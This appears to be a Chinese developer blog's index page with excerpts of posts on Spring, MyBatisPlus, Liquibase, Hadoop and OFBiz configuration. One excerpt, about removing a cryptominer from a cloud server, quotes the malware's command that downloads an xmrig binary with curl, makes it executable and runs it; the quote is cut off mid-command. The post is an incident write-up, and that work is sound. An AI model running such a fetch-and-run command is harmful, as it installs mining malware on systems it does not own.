记一次Spring里在事务和同步锁中犯的错误

先简单描述一下状况,有订单相关业务,一共有2个service类,一个操作订单简称order(Service),一个操作库存的,简称inventory(Service),在order中有A方法,是在数据库中新增订单数据的,在inventory中,有B方法,是扣除库存用的,在方法A中,会调用B,这2个service的class都加了 @Transactional 注解,情况大概是这样。

class orderService{
    public void A(){
        //保存订单信息
        saveOrder();

        //扣除库存
        B(); 

        //其他业务代码
    }
}

在B方法,扣除库存当中,会先查询该商品的库存(大概意思,实际业务中会比较多的校验),然后做对应得库存扣减,但是呢,这个B方法,是个通用(公共)方法,在仓储模块中,也会调用到这个方法,所以我非(zi)常(zuo)得(cong)意(ming)的在 B 方法上加了 synchronized 关键字,企图给这个方法加个同步锁,好在并发的时候不要扣错库[……]

继续阅读

使用MyBatisPlus的自定义SQL方法时遇到的一些问题

在MyBatisPlus的使用过程中,之前很多时候都是使用queryWrapper(条件构造器)的构造方法传入实体对象,来实现条件的构造,例如

contentCategoryService.list(new QueryWrapper<ContentCategory>(contentCategory))

这个方法里是这么写的,原先我以为构造这里会去利用entity构造一个MP的条件对象,直到我用了自定义sql的方法。

public QueryWrapper(T entity) {
    super.setEntity(entity);
    super.initNeed();
}

MP 是支持自定义sql的,官方文档用法如下:
file

看demo的理解就是MP会帮助你拼接wrapper中构造的条件,利用 ew.customSqlSegment 注入到sql中去,但是在实际使用中发现,只有调用条件构造方法(例如 eq like ne 等方法)才能顺利的拼接到SQL中去,这个着实让不少人踩了坑(并没有诋毁和不尊重开源团队的意思),因为这个文档也是在2020年才补上去的 &#x1F6[……]

继续阅读

MybatisPlus主键为空字符串仍然被查询

最近在使用MyBatisPlus的时候遇到一个问题,就是controller中被spring封装bean,在默认使用MP的QueryWrapper构造查询的时候主键是空字符,也就是"" 的时候,仍然会被作为查询条件,被拼接到sql中了。
例如

productService.list(new GenericQueryWrapper<Product>(product))

注意,这里只是主键,其他的字段可以通过全局的
mybatis-plus.global-config.db-config.select-strategy=not_empty
来处理,特殊情况可以用TableField注解实现。

Google了一大圈,发现并没有好的解决办法,倒是看到一个哥们的文章,链接找不到了,但是方法并不是很好,在每次查询面前,对主键做一个判断,但是这样就很不方便了。

public TableDataInfo list(Product product)
{
    if (StringUtils.isEmpty(product.getProductId())) {[......]

继续阅读

记一次清除阿里云挖矿脚本的过程

2021年07月14日更新
最近再次被挂马了,而且还是一样的请求地址和路径,应该是同一个人所为,继续发现问题,看路径是我这个springboot项目下的子进程,猜测是java或者java的某个lib的漏洞,于是去搜索了一下我这个开源项目,找到了一些端倪。

https://gitee.com/y_project/RuoYi/issues/I383NE

最近我的办法是,更新Shiro的秘钥,再尝试一下是否可以避免这个问题。

某天,在阿里云的控制面板收到了一些警告,有异常的出口请求,和疑似被植入了挖矿程序,马上登陆到服务器上看一眼。

file

点进去看一下,是一个病毒,伪装成watchdog命令执行的操作,看命令的具体操作如下

/bin/sh -c pidof /tmp/watchdog || bash -c 'curl https://whatsmyipv4.cf/xmrig -o /tmp/watchdog && chmod +x /tmp/watchdog && nohup /tmp/watchdog --donate-level 1 -o sg.m[......]

继续阅读

企业微信会话存档服务记录过程

因为一些临时项目,需要开通一下企业微信的会话存档,并拉取到本地,进行一些汇总分析,只做短期使用。

在github上找到一个开源库
https://github.com/5venw0ng/QyChat

https://github.com/5venw0ng/QyChat-iview

于是fork了代码,进行开发,但是在开发过程中,遇到了一些坑,现在记录下来

错误1:weijava.security.InvalidKeyException: IOException : algid parse error, not a sequence

这个错误是由于PKCS的版本问题造成的,由于在生成秘钥对的时候,使用的是PKCS#1生成的,在本地私钥解密的时候也是如此,但不知为何,报错了,但是,将它转换成PKCS#8格式即可

在下面的网站即可转换 PKCS#1 to PKCS#8 同样在生成秘钥对的时候,也是用这个网站的

file

错误2:java.lang.UnsatisfiedLinkError: no WeWorkFinanceSdk_Java in java.library.path

这个坑踩的最久,是[……]

继续阅读

若依(springboot2.x)集成 liquibase

这么做的初衷是不想让团队成员在表结构的更改,seed 数据和 demo 数据的配置这块浪费时间,考虑到以前 OFBiz 的 entity engine 的功能,可以自定义字段,在启动时检查并更新数据库,于是就在朋友推荐下,找到了这个开源软件 liquibase,下面记录下使用过程。

liquibase 是什么,之类就不过多讲了,大家可以 Google 一下,很多,我用的是若依4.x 的开发脚手架,基于 springboot 2.x 的

  1. 添加依赖,我把它放在了 ruoyi-common 这个模块下,在模块的 pom.xml 中增加一个依赖

    <!-- 数据库版本管理工具 -->
    <dependency>
    <groupId>org.liquibase</groupId>
    <artifactId>liquibase-core</artifactId>
    </dependency>
  2. 编写配置类

package com.ruoyi.common.config;
import liquibase.integ[......]

继续阅读

Hadoop学习笔记(一)坑点

运行环境:MacOS 10.12.x

VirtualBox 虚拟机:Hadoop 2.7.7,JDK1.8,Ubuntu 16.04.x、网络 Host-only

namenode机 master,datanode 机器 slave1、slave2、slave3

踩坑点一,必须在 namenode ping通 datanode,才可以
步骤:

  1. 全选虚拟机批量后台启动
  2. 在 master 执行 hadoop-daemon.sh start namenode  成功
  3. 在 slave1 执行 hadoop-daemon.sh start datanode 成功,但是在report 中的 livenode 中可用是0
  4. 在 master 执行 ping slave1,在第5次 ping 的时候,ping 通了,随后 live node+1
  5. 按以上步骤继续加入 slave2、slave3,都是如此,报错为   Problem connecting to server: master/192.168.56.100:9000

[……]

继续阅读

OFBiz16+版本开启HTTPS

为了方便访问,尝试对 OFBiz 16的版本(apache-ofbiz-16.11.03)关闭强制 https,可以使用 http 的方式访问,大的系统设置和老版本差不多,是在 url.properties 中开启,不过16版本和12版本,是有些区别的。
file

file
16版本的,把 no.http 设置成 N,然后把 port.https.enabled也设置成 N,按照老版本的思路,到这里就没问题了,但是使用的时候会有问题,访问 http://localhost:8080/facility,登录后,无法使用其他的功能,一点链接就跳转到登录界面,找了一圈原因,发现问题出现在 cookie 上。

出现这种问题,归根结底就是1个原因,Tomcat 认为你是个新访客,查看 Chrome 调试工具,果不其然,每次请求,response 的 header 总会设置1个新的 JSESSIONID,但是,每次刷新,request 里,却没有带上这个 JSESSIONID,导致每次请求都是「新」的。

而且问题就出在 response 返回的 cookie 上,一个 Secure 的关键字,表示这个 cooki[……]

继续阅读

OFBiz集群配置的踩坑笔记

因业务需要,想给 OFBiz 配置一下集群,看了一下相关资料,大概想了2中方案:

一种是使用 Tomcat 自带的 Cluster 配置中的 session 同步,另外一种是使用开源软件来进行 Redis 的 session 同步

分别对这2中方案,进行了配置,着重写一个第二种方案,有坑!在最后。

环境:MacOS Sierra,OFBiz 12.04

1、Tomcat 插件中使用了 tomcat-cluster-redis-session-manager (https://github.com/ran-jit/tomcat-cluster-redis-session-manager) ,下载插件中的所有包,其中第一个包可以不要,第四个包可以替换成源代码,方便的 Debug 和学习,复制到OFBIZ_HOME/framework/catalina/lib 目录下
file

2、修改 org.ofbiz.catalina.container.CatalinaContainer 类中,configureContext方法,增加如下代码

(由于 OFbiz 采用的是嵌入式 Tomcat(不知道这种叫[……]

继续阅读

OFBiz定时任务详解

OFBiz中的job相关的业务还是比较重要的,异步的service、eca已经任务计划都是通过这个来实现和调度的。

但是如果部署了2个OFBiz实例的话,就会出现冲突,每个实例都认为那些job是需要自己执行的,所以需要修改一些配置文件来达到这样的目的。

serviceengine.xml
这个文件正在framework/service/config/serviceengine.xml,找到以下代码

<!-- Thread pool configuration (max/min threads, uses to live and time to live) -->
<thread-pool send-to-pool="pool"
    purge-job-days="4"
    failed-retry-min="3"
    ttl="18000000"
    wait-millis="750"
    jobs="10"
    min-th[......]

继续阅读